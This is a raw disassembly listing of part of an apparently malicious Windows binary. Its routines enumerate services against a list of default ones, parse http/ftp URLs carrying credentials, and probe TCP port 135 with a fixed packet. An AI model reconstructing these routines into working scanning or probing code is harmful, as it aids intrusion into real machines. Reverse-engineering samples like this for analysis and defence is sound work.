; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A82


loc_4207C6:				; CODE XREF: sub_420630+136j
		push	esi
		nop
		call	near ptr 2830906h


loc_4207CD:				; CODE XREF: sub_420630+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42073F
		pop	ebp
		pop	ebx


loc_4207E1:				; CODE XREF: sub_420630+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4207FA:				; CODE XREF: sub_420630+46j
					; sub_420630+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420630	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208A0	proc near		; CODE XREF: sub_401875j
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_4208A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4208C0	proc near		; CODE XREF: sub_401A82j
		jmp	sub_401226
sub_4208C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208E0	proc near		; CODE XREF: sub_402162j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4208E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		call	near ptr 2900884h
		nop
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42092F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42092F:				; CODE XREF: sub_4208E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44531C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_445304
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_40142E
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_511718
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420C8F
		mov	ebp, dword_511764


loc_420B6B:				; CODE XREF: sub_4208E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420B97
		lea	esi, [esp+524h+var_4E0]


loc_420B78:				; CODE XREF: sub_4208E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_420C73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420B78


loc_420B97:				; CODE XREF: sub_4208E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_40168B
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420BE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420BE3:				; CODE XREF: sub_4208E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 28E0000h
		cmp	eax, ebx
		jz	short loc_420C1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420C1D:				; CODE XREF: sub_4208E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420C3A:				; CODE XREF: sub_4208E0+301j
					; sub_4208E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014D3
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420C73:				; CODE XREF: sub_4208E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420B6B
		mov	ebp, [esp+524h+var_4FC]


loc_420C8F:				; CODE XREF: sub_4208E0+27Fj
		push	ebp
		nop
		call	near ptr 2910000h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4208E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420DD0	proc near		; CODE XREF: sub_4015F5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 2880000h
		push	eax
		nop
		call	near ptr 287135Dh
		mov	eax, esi
		pop	esi
		retn
sub_420DD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E00	proc near		; CODE XREF: sub_401A37j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420E39


loc_420E22:				; CODE XREF: sub_420E00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420E22
		cmp	ecx, 0
		jz	short loc_420E4A


loc_420E39:				; CODE XREF: sub_420E00+20j
					; sub_420E00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420E39


loc_420E4A:				; CODE XREF: sub_420E00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50DB34, eax
		mov	eax, offset dword_50DB34
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EC0:				; CODE XREF: ___:0040177Bj
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_511AAC
		push	esi
		call	edi	; ftell
		mov	ebp, dword_511AA4
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420F10	proc near		; CODE XREF: sub_401947j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420F10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420F3F
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420F3F:				; CODE XREF: sub_420F10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_40142E
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015E1
		push	offset asc_444C74 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420FCF:				; CODE XREF: sub_420F10+92j
					; sub_420F10+A2j
		push	offset asc_4453F0 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D34
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4453F0 ; "/"
		push	1
		jz	loc_42130C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016B8
		push	offset asc_444C74 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F40
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4210C9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_4210C9:				; CODE XREF: sub_420F10+19Cj
		push	offset asc_4453F0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016B8
		push	offset asc_444C74 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421195
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42117E
		mov	dword ptr [esi+54h], 50h


loc_42117E:				; CODE XREF: sub_420F10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421195
		mov	dword ptr [esi+54h], 15h


loc_421195:				; CODE XREF: sub_420F10+255j
					; sub_420F10+27Cj
		push	offset asc_4453F0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016B8
		push	offset asc_444C74 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016B8
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F40
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42124E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42124E:				; CODE XREF: sub_420F10+321j
		push	offset asc_4453F0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016B8
		push	offset asc_444C74 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016B8
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F40
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421433
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42130C:				; CODE XREF: sub_420F10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016B8
		push	offset asc_444C74 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F40
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421393
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420F10+466j
		push	offset asc_4453F0 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset asc_444C74 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421433
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42141C
		mov	dword ptr [esi+54h], 50h


loc_42141C:				; CODE XREF: sub_420F10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421433
		mov	dword ptr [esi+54h], 15h


loc_421433:				; CODE XREF: sub_420F10+3DBj
					; sub_420F10+4F3j ...
		push	offset asc_4453F0 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013ED
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E47
		push	offset asc_4453F0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013ED
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4453F0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013ED
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4453F0 ; "/"
		mov	ecx, esi
		call	sub_4015E1
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016C7
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421519:				; CODE XREF: sub_420F10+2Aj
					; sub_420F10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420F10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4216D0	proc near		; CODE XREF: sub_401AFFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4216FB


loc_4216E4:				; CODE XREF: sub_4216D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421702
		inc	eax
		cmp	eax, edx
		jl	short loc_4216E4


loc_4216FB:				; CODE XREF: sub_4216D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421702:				; CODE XREF: sub_4216D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4216D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421720:				; CODE XREF: ___:004020B8j
		mov	eax, 2010h
		call	sub_437B30
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42176D
		dec	eax
		jz	short loc_421747
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421747:				; CODE XREF: ___:00421738j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402022
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42176D:				; CODE XREF: ___:00421735j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	ebp, dword_511CA0
		push	0
		push	48h
		push	offset dword_444DB8
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		cmp	byte ptr [esp+1Eh], 0Ch
